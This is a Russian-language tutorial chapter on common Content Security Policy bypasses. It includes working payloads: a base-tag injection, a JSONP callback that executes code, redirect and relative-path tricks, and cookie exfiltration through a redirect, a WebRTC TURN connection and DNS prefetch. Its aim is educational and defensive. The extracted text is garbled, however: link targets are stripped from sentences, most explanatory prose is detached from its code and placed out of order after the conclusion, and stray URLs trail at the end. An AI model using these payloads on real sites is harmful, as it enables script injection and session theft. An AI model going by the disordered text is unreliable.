Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Обход через небезопасные домены
  • Обход через Base Element
  • Обход через JSONP
  • Ограничения JSONP
  • Обход через перенаправление
  • Обход через RPO (Relative Path Overwrite)
  • Другие техники обхода
  • Заключение
  1. Глава 2 - Защита и Обход для XSS

Обход защитных мер - Обычные способы обхода CSP

PreviousПоследние методы защиты от XSS - Trusted Types и встроенный Sanitizer APINextОбход защитных мер - Mutation XSS

Last updated 8 months ago

Ранее мы обсуждали, как разработчики могут настроить Content Security Policy в качестве способа защиты для сайтов, предотвращая выполнение JavaScript злоумышленниками, даже если они умудряются внедрить HTML. Это значительно снижает воздействие атак. Так как CSP охватывает широкий спектр элементов, включая скрипты, стили и изображения, конфигурация CSP каждого сайта может отличаться. Важно настраивать CSP исходя из содержимого вашего собственного сайта.

Однако, если CSP не настроена правильно, это практически то же самое, что и отсутствие настройки. В этом посте я покажу вам некоторые общие способы обхода CSP.

Обход через небезопасные домены

Если ваш сайт использует публичные платформы CDN для загрузки JavaScript, такие как , возможно, что правило CSP установлено как script-src .

В предыдущем обсуждении CSP я спросил, в чем проблема с этой конфигурацией. Теперь позвольте мне раскрыть ответ.

Проблема этого подхода в том, что он позволяет загружать все библиотеки с этого источника. Чтобы исправить эту ситуацию, кто-то уже создал библиотеку под названием и загрузил ее. Вот пример:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
    <div id="userContent">
        <script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
        <script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
        <br csp="alert(1)">
    </div>
</body>
</html>

Обход через Base Element

При настройке CSP распространенной практикой является использование nonce для указания, какие скрипты могут быть загружены. Даже если злоумышленник внедряет HTML, они не могут выполнить код без знания nonce. Вот пример

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
    <div id="userContent">
        <script src="https://example.com/my.js"></script>
    </div>
    <script nonce="abc123" src="app.js"></script>
</body>
</html>

После открытия консоли мы видим ошибку:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
    <base href="https://example.com/">
</head>
<body>
    <div id="userContent"></div>
    <script nonce="abc123" src="app.js"></script>
</body>
</html>

Решение для предотвращения этого обхода - добавить правило base-uri в CSP. Например, используйте base-uri 'none', чтобы блокировать все базовые теги. Поскольку большинство сайтов не требует использования <base>, вы с уверенностью можете добавить эту директиву.

Обход через JSONP

JSONP - это способ получения данных с разных источников, но я лично считаю его старым обходным путем, который появился до зрелости CORS.

Эта ошибка CORS мешает вам получить ответ.

Однако есть несколько элементов, которые не подчиняются политике того же источника, такие как <img>. В конце концов, изображения можно загружать из различных источников, и мы не можем получить доступ к их содержимому с помощью JavaScript, поэтому проблемы нет.

Элемент <script> также не ограничен. Например, при загрузке Google Analytics или Google Tag Manager, мы напрямую пишем <script src="https://www.googletagmanager.com/gtag/js?id=UA-XXXXXXXX-X"></script>, и это никогда не было ограничено, верно?

setUsers([  {id: 1, name: 'user01'},  {id: 2, name: 'user02'}])

В результате моя веб-страница может получать данные с помощью функции setUsers:

<script>
    function setUsers(users) {
        console.log('Users from api:', users);
    }
</script>
<script src="https://example.com/api/users"></script>
anyFunctionName([
    { id: 1, name: 'user01' },
    { id: 2, name: 'user02' }
]);
alert(1);
console.log([
    { id: 1, name: 'user01' },
    { id: 2, name: 'user02' }
]);

Мы успешно вставили желаемый код в ответ, и эту технику можно использовать для обхода CSP.

Например, допустим, мы разрешаем скрипт из определенной области, и эта область действительно имеет URL, поддерживающий JSONP. Мы можем использовать его для обхода CSP и выполнения кода. Например:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
    <div id="userContent">
        <script src="https://example.com"></script>
    </div>
    <script async src="https://www.google.com/recaptcha/api.js"></script>
    <button class="g-recaptcha" data-sitekey="6LfkWL0eAAAAAPMfrKJF6v6aI-idx30rKs55Lxpw" data-callback="onSubmit">Submit</button>
</body>
</html>

Но случайно этот домен имеет URL, который поддерживает JSONP:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
    <div id="userContent">
        <script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//"></script>
    </div>
</body>
</html>

Таким образом, злоумышленник может использовать его для обхода CSP и успешного выполнения кода.

Во-вторых, проверьте, какие домены имеют доступные API JSONP.

Ранее упомянутый CSP Evaluator также любезно напоминает вам:

Ограничения JSONP

Хотя ранее JSONP был представлен как мощный инструмент, позволяющий выполнение произвольного кода, некоторые веб-сайты ограничивают параметр обратного вызова JSONP. Например, разрешены только определенные символы, такие как a-zA-Z., поэтому мы можем вызывать только функцию, и мы не можем контролировать параметры.

Что мы можем сделать в этом случае?

Допустим, на странице есть кнопка, при нажатии на которую происходит какое-то действие. Вы можете использовать JavaScript код document.body.firstElementChild.nextElementSibling.click, чтобы щелкнуть ее. Поскольку символы в этом коде разрешены, вы можете поместить его внутри JSONP: ?callback=document.body.firstElementChild.nextElementSibling.click, и использовать JSONP для выполнения кода, как упоминалось ранее.

В статье упоминается длинный фрагмент кода, который можно использовать для нажатия кнопки "Install Plugin":

window.opener.wpbody.firstElementChild  .firstElementChild.nextElementSibling.nextElementSibling  .firstElementChild.nextElementSibling.nextElementSibling  .nextElementSibling.nextElementSibling.nextElementSibling  .nextElementSibling.nextElementSibling.firstElementChild  .nextElementSibling.nextElementSibling.firstElementChild  .nextElementSibling.firstElementChild.firstElementChild  .firstElementChild.nextElementSibling.firstElementChild  .firstElementChild.firstElementChild.click

Хотя у SOME есть много ограничений, если не найдены другие способы эксплуатации, это все равно может быть метод, который стоит попробовать.

Обход через перенаправление

Что происходит, когда CSP сталкивается с серверным перенаправлением? Если перенаправление ведет к другому источнику, который не разрешен, оно все равно не сработает.

Вот пример:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
    <div id="userContent">
        <script src="https://www.google.com/test"></script>
        <script src="https://www.google.com/a/test"></script>
        <script src="http://localhost:5555/301"></script>
    </div>
</body>
</html>

С этим перенаправлением, даже если путь указан полностью, он все равно будет обойден.

Поэтому лучшим решением будет убедиться, что на веб-сайте нет уязвимостей для открытого перенаправления и что в правилах CSP нет доменов, которые могут быть эксплуатированы.

Обход через RPO (Relative Path Overwrite)

Помимо упомянутого ранее перенаправления для обхода ограничений по пути, существует еще одна техника, называемая Relative Path Overwrite (RPO), которая может быть использована на некоторых серверах.

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Путем эксплуатации этого несоответствия в интерпретации URL между браузером и сервером можно обойти правила пути.

Решение состоит в том, чтобы не рассматривать %2f как / на стороне сервера, обеспечивая одинаковую интерпретацию между браузером и сервером для избежания этой проблемы.

Другие техники обхода

Ранее упомянутые методики в основном сосредоточены на обходе правил CSP. Теперь давайте обсудим методики обхода, эксплуатирующие ограничения самого CSP.

Например, предположим, что веб-сайт имеет строгий CSP, но разрешает выполнение JavaScript:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline';">
</head>
<body>
    <script>
        // any JavaScript code
    </script>
</body>
</html>

Цель - украсть document.cookie. Как это можно достичь?

Проблема не в том, чтобы украсть cookie, проблема заключается в передаче его внешний ресурс. Поскольку CSP блокирует загрузку всех внешних ресурсов, будь то <img>, <iframe>, fetch() или даже navigator.sendBeacon, все они будут заблокированы CSP.

var pc = new RTCPeerConnection({
    "iceServers": [
        {
            "urls": [
                "turn:74.125.140.127:19305?transport=udp"
            ],
            "username": "_all_your_data_belongs_to_us",
            "credential": "."
        }
    ]
});

pc.createOffer().then((sdp) => {
    pc.setLocalDescription(sdp);
});

В заключение, хотя default-src кажется блокирует все внешние соединения, это не так. Есть еще некоторые магические способы передачи данных. Однако, возможно, однажды, когда правила CSP станут более совершенными, будет возможно добиться полностью непроникаемого решения (хотя непонятно, когда настанет этот день).

Заключение

В этой статье мы рассмотрели некоторые общие методы обхода CSP, и их оказалось довольно много.

Более того, с увеличением количества доменов в CSP становится все сложнее исключить проблемные домены, что добавляет дополнительные риски. Кроме того, использование сторонних сервисов также несет определенные риски, такие как вышеупомянутые общедоступные CDNs или обход CSP Google. Это нужно учитывать.

Написание полностью безопасного CSP на самом деле сложно и требует времени для постепенного устранения небезопасных практик. Однако, в эпоху, когда многие веб-сайты даже не имеют CSP, все еще стоит применить старую поговорку: "Давайте добавим CSP сначала, если есть проблемы, мы можем их отрегулировать позже.".

Я хочу загрузить только React, но мне лень писать полную конфигурацию CSP. Поэтому я написал только , что позволило злоумышленникам загрузить библиотеку csp-bypass, специально разработанную для обхода CSP.

Решение состоит в том, чтобы вовсе избегать использования этих общедоступных CDN или записывать полный путь в конфигурации CSP. Вместо простого пишите .

>Refused to load the script ' because it violates the following Content Security Policy directive: "script-src 'nonce-abc123'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.

Хотя это кажется безопасным, было забыто одно: директива base-uri. Эта директива не откладывается до умолчания. Тег используется для изменения местоположения ссылки для всех относительных путей. Например:

Поскольку добавлен <base href="">, скрипт, загружающий app.js, становится , что позволяет злоумышленникам загружать скрипты со своего собственного сервера!

Обычно браузеры препятствуют взаимодействию с веб-страницами не того же источника. Например, выполнение fetch('') в приведет к следующей ошибке:

> Access to fetch at ' from origin ' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Поэтому появился способ обмена данными. Предположим, есть API, который предоставляет данные пользователя, и они предлагают путь вроде . Вместо того чтобы возвращать JSON, он возвращает часть кода JavaScript:

Однако, конкретно заданное имя может быть неудобным. Поэтому общим форматом является , и ответ становится:

Если сервер не проверяет корректность и позволяет передавать любые символы, мы можем использовать такой URL . В этом случае, ответ становится:

Поскольку мы используем Google reCAPTCHA, мы включаем соответствующий скрипт и добавляем в CSP. В противном случае, был бы заблокирован.

Чтобы избежать этой ситуации во время конфигурации, существуют некоторые подходы. Во-первых, сделайте пути более строгими. Например, установите его на вместо , чтобы уменьшить некоторые риски (почему я говорю "уменьшить риски", а не "полностью предотвратить риски"? Вы узнаете позже).

Существует репозиторий под названием , который собирает URL-адреса JSONP из известных веб-сайтов. Хотя некоторые из них были удалены, он все равно может служить референсом.

Существует еще одно понятие, называемое . Идея заключается в том, что, хотя мы можем вызывать только функции, мы также можем исполнять методы на веб-сайте с тем же происхождением.

Есть много ограничений, но это все еще потенциальная вектор атаки. В этом блог-посте под названием "" опубликованном Octagon Networks в 2022 году, автор использовал Same Origin Method Execution (SOME), чтобы установить вредоносный плагин в WordPress.

Однако, согласно описанию в , если перенаправление ведет к другому пути, оно может обойти оригинальные ограничения.

Если CSP установлен на , поскольку учитывается путь, оба скрипта /test и /a/test будут заблокированы CSP.

Однако, последний будет перенаправлен на сервере на . Так как это перенаправление, путь не учитывается, и скрипт может быть загружен, обходя таким образом ограничение пути.

Например, если CSP разрешает путь , он может быть обойден следующим образом:

Браузер в конечном итоге загрузит .

Это работает потому что для браузера вы загружаете файл с именем ..%2fangular%2fangular.js расположенный под , что соответствует CSP.

Однако, для определенных серверов, когда они получают запрос, они будут его декодировать, фактически запрашивая , что эквивалентно .

В данном случае существуют несколько способов передачи данных. Один из способов - использовать window.location = '' + document.cookie для выполнения перенаправления страницы. В настоящее время нет правил CSP, которые могут ограничить этот метод, но в будущем может быть введено правило под названием .

Второй метод - использовать WebRTC, и код следующий из :

В настоящее время нет способа ограничить передачу данных, но в будущем может появиться правило под названием .

Третий метод - предварительный DNS: <link rel="dns-prefetch" href="">. Рассматривая данные, которые вы хотите отправить, в качестве части домена, вы можете передать их через DNS-запросы.

Раньше было такое правило, как , но спецификация изменилась, и теперь эти серии предварительной выборки должны следовать default-src. Chrome имеет эту функцию только начиная с версии 112: .

unpkg.com
https://unpkg.com
csp-bypass
https://unpkg.com/
https://unpkg.com/
https://unpkg.com/react@16.7.0/
https://example.com/my.js'
base
https://example.com/
https://example.com/app.js
https://example.com
https://google.com
https://example.com/
https://google.com'
https://example.com/api/users
https://example.com/api/users?callback=anyFunctionName
https://example.com/api/users?callback=alert(1);console.log
https://www.google.com
https://www.google.com/recaptcha/api.js
https://www.google.com/recaptcha/
https://www.google.com
JSONBee
Same Origin Method Execution
Bypass CSP Using WordPress By Abusing Same Origin Method Execution
CSP spec 4.2.2.3. Paths and Redirects
https://www.google.com/a/b/c/d
http://localhost:5555/301
https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
https://example.com/scripts/react/
https://example.com/scripts/angular/angular.js
https://example.com/scripts/react/
https://example.com/scripts/react/../angular/angular.js
https://example.com/scripts/angular/angular.js
https://example.com?q=
navigate-to
WebRTC bypass CSP connect-src policies #35
webrtc
https://data.example.com
prefetch-src
Resoure Hint "Least Restrictive" CSP